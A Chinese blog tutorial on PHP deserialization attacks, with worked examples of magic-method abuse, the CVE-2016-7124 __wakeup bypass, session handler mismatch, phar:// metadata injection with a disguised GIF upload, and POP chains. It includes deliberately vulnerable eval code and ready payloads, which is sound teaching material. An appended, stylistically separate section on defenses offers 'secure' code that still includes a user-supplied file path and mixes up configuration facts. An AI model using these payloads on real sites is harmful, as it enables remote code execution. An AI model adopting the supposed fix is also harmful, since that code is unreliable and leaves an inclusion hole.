反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()

一、漏洞简述php反序列化漏洞又称对象注入

原理:在php反序列化的时候,反序列化的内容可控,那么恶意用户就可以构造特定序列化内容的代码,通过反序列化接口进行反序列化时,自动执行魔法函数,若魔法函数中存在危险操作或调用危险操作。则构成反序列化漏洞。

魔法函数:会自动调用

__construct()  当一个对象创建时被调用               (反序列化时触发)

__destruct()  当一个对象销毁时被调用		            (程序结束,对象销毁,触发)
	
__toString()  当一个对象被当作一个字符串使用            (echo时触发)

__sleep()      在对象在被序列化之前自动调用

__wakeup     在序列化之后自动被调用

如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。

如果 __wakeup()或者 __desturct() 有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。

反序列化漏洞的发掘过程


二、漏洞利用过程

(1) 一个简单的例子__destruct()中存在eval操作

eg 1:一个简单的例子__destruct()中存在eval操作

<?php
class A
{
	public  $test = a;
	public function __destruct()
	{
		echo "__destruct函数执行后";		
        //存在危险函数
		@eval($this->test);
	}
}
$b = $_GET[cmd];
$len=strlen($_GET[cmd])+1;
$d = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$b.";\";}";
$c = unserialize($d);
echo $c->test . "<br>";
?>

在这里插入图片描述

(2) 一个简单的例子__wakeup()中存在读写操作

eg 2:一个简单的例子__wakeup()中存在读写操作

<?php
class T
{
	public $test = 'is test';
	public function __wakeup()
	{
		echo "step2/ 反序列化时__wakeup()函数执行<br>";
		$fp = fopen("a.php","w");
		fwrite($fp,$this->test);
		fclose($fp);
	}
}

$obj_str = $_GET['a'];
echo "step1/ 传入: " . $obj_str ."<br><br>";

$obj = unserialize($obj_str);

//显示
require "a.php";
?>

在这里插入图片描述

(3) 绕过__wakeup()的限制

参考大神 twosmi1e的文章

何时使用: __wakeup() 方法中设置反序列化后的属性值,绕过它使属性再次可控。
.
cve编号:cve-2016-7124
.
影响版本: PHP5 < 5.6.25
.
漏洞简述: 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

eg1 .一个小示例

<?php 
    error_reporting(0);
    class T{
        public $key = 'lalalalla';
		
		// 检测是否绕过
        public function __destruct(){
            if(!empty($this->key)){
                if($this->key == 'lalalalla')
                    echo '成功绕过';
            }
        }
		
		//有__wakeup()改变属性值
        public function __wakeup(){
            $this->key = '失败,没有绕过   ';
            echo $this->key;
        }
		
        public function __toString(){
            return '';
        }
    }

$obj_str = $_GET['answer'];
echo "传入的参数: " . $obj_str;
echo '<br><br><hr>';
echo unserialize($obj_str);

 ?>

在这里插入图片描述

eg2 . 看一道拿flag的

<?php 
class SoFun{ 
  protected $file='index.php';
  function __destruct(){ 
    if(!empty($this->file)) {
      // 过滤会退符号
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        //会读取file文件内容,我们需要利用这里来读flag.php
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  
  //__wakeup方法写死file属性
  function __wakeup(){
   $this-> file='index.php';
  } 
  public function __toString(){
    return '' ;
  }
}
    
if (!isset($_GET['file'])){ 
  show_source('index.php');
}
else{ 
  $file=base64_decode($_GET['file']); 
  echo unserialize($file); 
}
 ?> #<!--key in flag.php-->
【思路】
 目的是去读取flag.php的内容
	    1. 先构造序列化对象:O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}
	    2. 绕过__wakeup:O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
	    3. 因为file是protect属性,所以需要加上\00*\00。再base64编码。
	    

payload:Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==


三、Session反序列化漏洞

在这里插入图片描述

(1) Session序列化机制

参考spoock大佬的文章

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 的数据,都会对数据进行序列化和反序列化。

session_start()被调用或者php.ini中session.auto_start=1时,PHP内部调用会话处理器,对用户session序列化,然后存储到指定目录(默认为/tmp)。

PHP处理器的三种序列化方式:

不同的处理器所对应的session的存储方式不相同。

  • php_binary 存储方式为: 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php 存储方式为 :键名 | 经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4的版本才可用) 存储方式为 : 经过serialize()函数序列化处理的值

eg1 . 三种处理器序列化后的数据对比

/*session.php*/

<?php
ini_set('session.serialize_handler','php_serialize');  //分别设置为不同的处理器
session_start();

$_SESSION['name'] = $_GET['name'];

?>
访问     http://192.168.44.129/session.php?name=tom
  • 在这里插入图片描述
配置文件 php.ini 的说明

在这里插入图片描述

一个简单的存取过程演示

存储和取回 session 变量的正确方法是使用 $_SESSION 变量:

【session.php】

<?php
// session.php   用于存储session的页面
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['name'] = $_GET['name'];
echo "存储的seesion为:";
print_r($_SESSION);
?>

【print.php】

<?php
//用于输出session页面

ini_set('session.serialize_handler','php_serialize');
session_start();
echo "当前session为:";
print_r($_SESSION['name']);
?>

1. 首先访问session.php,$_SESSION变量接受参数,然用php_serialize处理器序列化后存放在session指定的存储路径

  • 在这里插入图片描述
    在这里插入图片描述

.
2. 访问 print.php , 使用php_serialize处理器反序列化session文件后输出

  • 在这里插入图片描述

(2) PHP Session中的序列化危害

简述:程序员设计Session存储不当而引起的。

利用前提:可以构造传入session。 序列化和反序列化的处理器不一样。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化(因为三种处理器的存储格式不同)。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。

一个简单的漏洞利用演示

【session.php】

<?php
// session.php   用于存储session的页面
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['name'] = $_GET['name'];
echo "存储的seesion为:";
print_r($_SESSION);
?>

【attack.php】

<?php
//存在漏洞的页面


ini_set('session.serialize_handler','php');
session_start();

class TEST{
    public  $a;

    function __destruct()
	{
		echo "<br>------------反序列化session后------<br>";
		@eval($this->a);
    }
}

echo "当前session为:" . $_SESSION['name'] . "<br>";
?>

漏洞成因因为序列化和反序列化时的处理器不一样。php处理器会把 |后的值当作KEY值再反序列化,攻击者可以利用这点,进行构造攻击

1. 首先访问session.php生成session
?name=|O:4:"TEST":1:{s:1:"a";s:10:"phpinfo();";}

  • 在这里插入图片描述
    在这里插入图片描述

.
2. 访问attack.php

  • 在这里插入图片描述
两道get flag题

https://www.anquanke.com/post/id/159206#h3-8

https://xz.aliyun.com/t/3674#toc-11

session.upload_progress.enabled=On时。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。


四、phar (PHP Archive) 伪协议触发php反序列化

在这里插入图片描述

利用 phar 拓展 php 反序列化漏洞攻击面

(1)什么是phar文件

phar文件:PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。

  • 简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且能被 php 的伪协议phar:// 执行
  • 所有PHAR文件都使用 .phar 作为文件扩展名

phar结构由 4 部分组

  • stub : phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
  • manifest : 压缩文件的属性等信息,以序列化存储;
  • contents : 压缩文件的内容;
  • signature : 签名,放在文件末尾;

php内置了一个Phar类来处理相关操作:`

  • 注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
    官方文档的说明

在这里插入图片描述

(2) 反序列化问题

哪里存在序列化和反序列化

  • 被压缩文件的权限、属性等信息都放在manifest部分。这部分还会以序列化的形式存储用户自定义的meta-data(元数据),这是漏洞利用的核心部分。对应phar类的方法是Phar::setMetadata=>设置phar归档元数据

  • php的大部分操作文件函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
    在这里插入图片描述

(3) 将phar伪造成其他格式的文件

php识别phar文件是通过其文件头的stub,更确切一点来说是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件来绕过文件上传的检测。

各种文件头

类型标识
JPEG头标识ff d8 ,结束标识ff d9
JPEG头标识ff d8 ,结束标识ff d9
PNG头标识89 50 4E 47 0D 0A 1A 0A
GIF头标识(6 bytes) GIF89(7)a
BMP头标识(2 bytes) 42 4D BM
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');  //设置stub,增加gif文件头

eg . 一个实列

【phar_make.php】

<?php
class TEST{
    public $a;
}

$obj = new TEST();
$obj -> a= 'phpinfo();';

$phar = new Phar('attack.phar'); // 后缀必须为phar否则程序无法运行,  使用phar的__constrct方法
$phar -> startBuffering();       //开始缓冲Phar写操作
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');  //设置stub,增加gif文件头
$phar -> addFromString('test.txt','test');    //以字符串的形式添加一个文件到 phar 档案
$phar -> setMetadata($obj);     😱😱漏洞关键点 //将自定义meta-data存入manifest
$phar -> stopBuffering();          //停止缓冲对Phar存档的写请求,并将更改保存到磁盘

?>

【phar_use.php】

<?php
$filename=$_GET['filename'];

class TEST{
    public $a;
    public function __destruct()
    {
        eval($this ->a);
    }
}
file_get_contents($filename);   //用文件操作函数结合phar伪协议去读phar文件

?>

1.访问phar_make.php, 生成attack.phar
使用winhex查看文件内容

  • 在这里插入图片描述

.
2. 访问phar_use.php,结合phar伪协议去打开attack.phar文件
http://192.168.44.129/phar_use.php?filename=phar://attack.phar/test.txt

  • 在这里插入图片描述

.


【绕过文件上传】

1. 发现phar_use.php的源码中,发现可以使用操作文件函数,且类中方法存在危险函数
上传处限制.phar 文件, 修改后缀上传绕过 attack.gif
.
2.结合phar:// 伪协议访问 attack.gif

  • 在这里插入图片描述

(4) 漏洞利用的条件总结

  • phar文件要能够上传到服务器端。
  • 要有可用的魔术方法作为 “ 跳板 ”,且存在危险函数。
  • 文件操作函数的参数可控,且 ://phar 等特殊字符没有被过滤。

phar在反序列化漏洞利用中的意义
该方法在文件系统函数参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

参考文章
https://paper.seebug.org/680/#0x01
PHP反序列化入门之phar


五、反序列化与POP CHAIN的构造

pop(property-oriented programing)面向属性编程

何时构造:正常的反序列化漏洞多为利用魔法函数自自动调用而触发,若敏感函数(危险函数等)不在魔法函数中,而为类的普通方法中。若存在相同的方法名,此时可以将存在魔法函数的类的属性和敏感函数的属性联系在一起

.
如何实现:在反序列化的参数可控时,传入的序列化描述字符中的属性的值为敏感函数的对象的序列化描述字符。

eg 1 一个实列

【分析和源码】

//pop_chain.php

<?php

class TEST{
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new safe();
    }
    function __destruct() {
        $this->ClassObj->action();   //😱😱😱 可利用的原因点
    }}
	
class safe{
    function action() {
        echo "Here is safe";
    }}
		
class unsafe{
    private $data;
    function action() {
	   echo "执行了unsafe中的action方法";    
       eval($this->data);
    }}
	
unserialize($_GET['test']);

?>
【分析】
	TEST中存在魔法函数,但并不存在危险函数。TEST类和unsafe类中都存在action方法名
	危险函数在unsafe类中存在
	
-->反序列化参数可控   通过构造pop chain,控制$ClassObj属性去执行unsafe类中的action方

【步骤】
1. 首先构造出pop chain的序列化字符串
在这里插入图片描述

因为存在protected属性,最后要url编码

O:4:"TEST":1:{s:11:"*ClassObj";O:6:"unsafe":1:{s:12:"unsafedata";s:10:"phpinfo();";}}

O%3A4%3A%22TEST%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A6%3A%22unsafe%22%3A1%3A%7Bs%3A12%3A%22%00unsafe%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

2. 访问pop_chain.php 并传参

  • 在这里插入图片描述

更深的文章
https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
https://xz.aliyun.com/t/3674#toc-13

### PHAR反序列化漏洞原理 PHAR是一种PHP存档格式,允许开发者创建自包含的应用程序或库。当处理PHAR文件时,如果应用程序错误地信任并加载了由攻击者控制的PHAR文件,则可能导致反序列化漏洞的发生。 在PHP环境中,`unserialize()`函数用于将存储于字符串中的表示转换成对应的变量结构。然而,在处理来自不受信源的数据时调用此函数是非常危险的行为。由于PHAR协议处理器会自动尝试解码元数据部分作为序列化的对象数组,因此即使没有显式的`unserialize()`调用也可能触发该行为[^1]。 例如,考虑如下代码片段: ```php <?php $pharFile = 'phar://' . $_GET['file']; include $pharFile; ?> ``` 上述代码中并没有直接使用`unserialize()`,但如果传入了一个恶意构造的PHAR文件路径给`$_GET['file']`参数,仍然可能引发反序列化操作,并最终导致远程命令执行等问题。 ### 防护措施 为了避免因PHAR反序列化而带来的风险,建议采取以下几种策略来增强系统的安全性: - **禁用不必要的功能**:除非确实需要支持PHAR档案的功能,否则应通过配置关闭对PHAR的支持。可以通过修改`php.ini`设置`phar.readonly=On`强制使所有打开的操作只读模式运行,从而防止写入新的PHAR文件以及潜在的风险。 - **严格验证输入**:对于任何形式的用户提交内容都应当实施严格的校验机制,尤其是涉及到文件名、URL等敏感信息的地方更要注意防范特殊字符注入的可能性。确保只有合法且预期范围内的值才能进入后续逻辑流程当中去。 - **采用白名单方式管理类定义**:限制哪些特定类型的对象能够被序列化/反序列化出来,而不是盲目接受任意种类的对象实例。这有助于减少未知风险点的存在几率。 - **更新依赖项至最新稳定版**:定期审查项目所使用的第三方组件列表,及时跟进官方发布的补丁包以修补已知的安全缺陷。 - **启用RASP实时监控保护**:引入Runtime Application Self-Protection (RASP) 技术可以在应用层面对可疑活动作出即时响应,阻止非法请求到达业务核心之前即刻拦截下来[^3]。 ### 实际案例展示 下面给出一段简单的测试代码用来说明如何构建一个存在PHAR反序列化隐患的服务端脚本及其相应的修复方案: #### 存在安全隐患的原始版本 ```php // test.php class Test { public function __destruct() { echo "Destructing...\n"; if(isset($_GET["cmd"])) { system($_GET["cmd"]); // 危险之处在于这里接收未经净化过的外部指令 } } } if(isset($_GET["data"])){ @unserialize(urldecode($_GET["data"])); // 不加甄别的反序列化过程埋下了祸根 } ``` #### 安全改进后的版本 ```php // secure_test.php class SecureTest extends SplFileInfo { // 继承SplFileInfo使得能更好地兼容phar://伪协议下的正常工作流 private $__cmd; protected function __construct($path){ parent::__construct($path); $this->__cmd = null; // 初始化私有属性,默认为空值 } final public static function createFromPath(string $path): self{ return new self($path); // 工厂方法提供统一入口点的同时也便于后期维护扩展 } public function __wakeup(){ throw new Exception("Deserialization not allowed!"); // 禁止反序列化恢复状态变更 } public function executeCmd(?string $command=null){ if(is_null($command)){ return false; } if(!preg_match('/^[a-zA-Z]+$/', trim($command))){ die('Invalid command.'); } passthru(escapeshellcmd(trim($command))); // 对待执行语句做进一步转义处理后再交给底层API } } try{ if(array_key_exists('action', $_SERVER) && array_key_exists('filename', $_GET)){ $safeObj = SecureTest::createFromPath($_GET['filename']); if(file_exists((string)$safeObj)){ include_once ((string)$safeObj); }else{ http_response_code(404); exit(); } } }catch(Throwable $e){ error_log($e->getMessage()); header("HTTP/1.1 500 Internal Server Error"); exit(); } ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值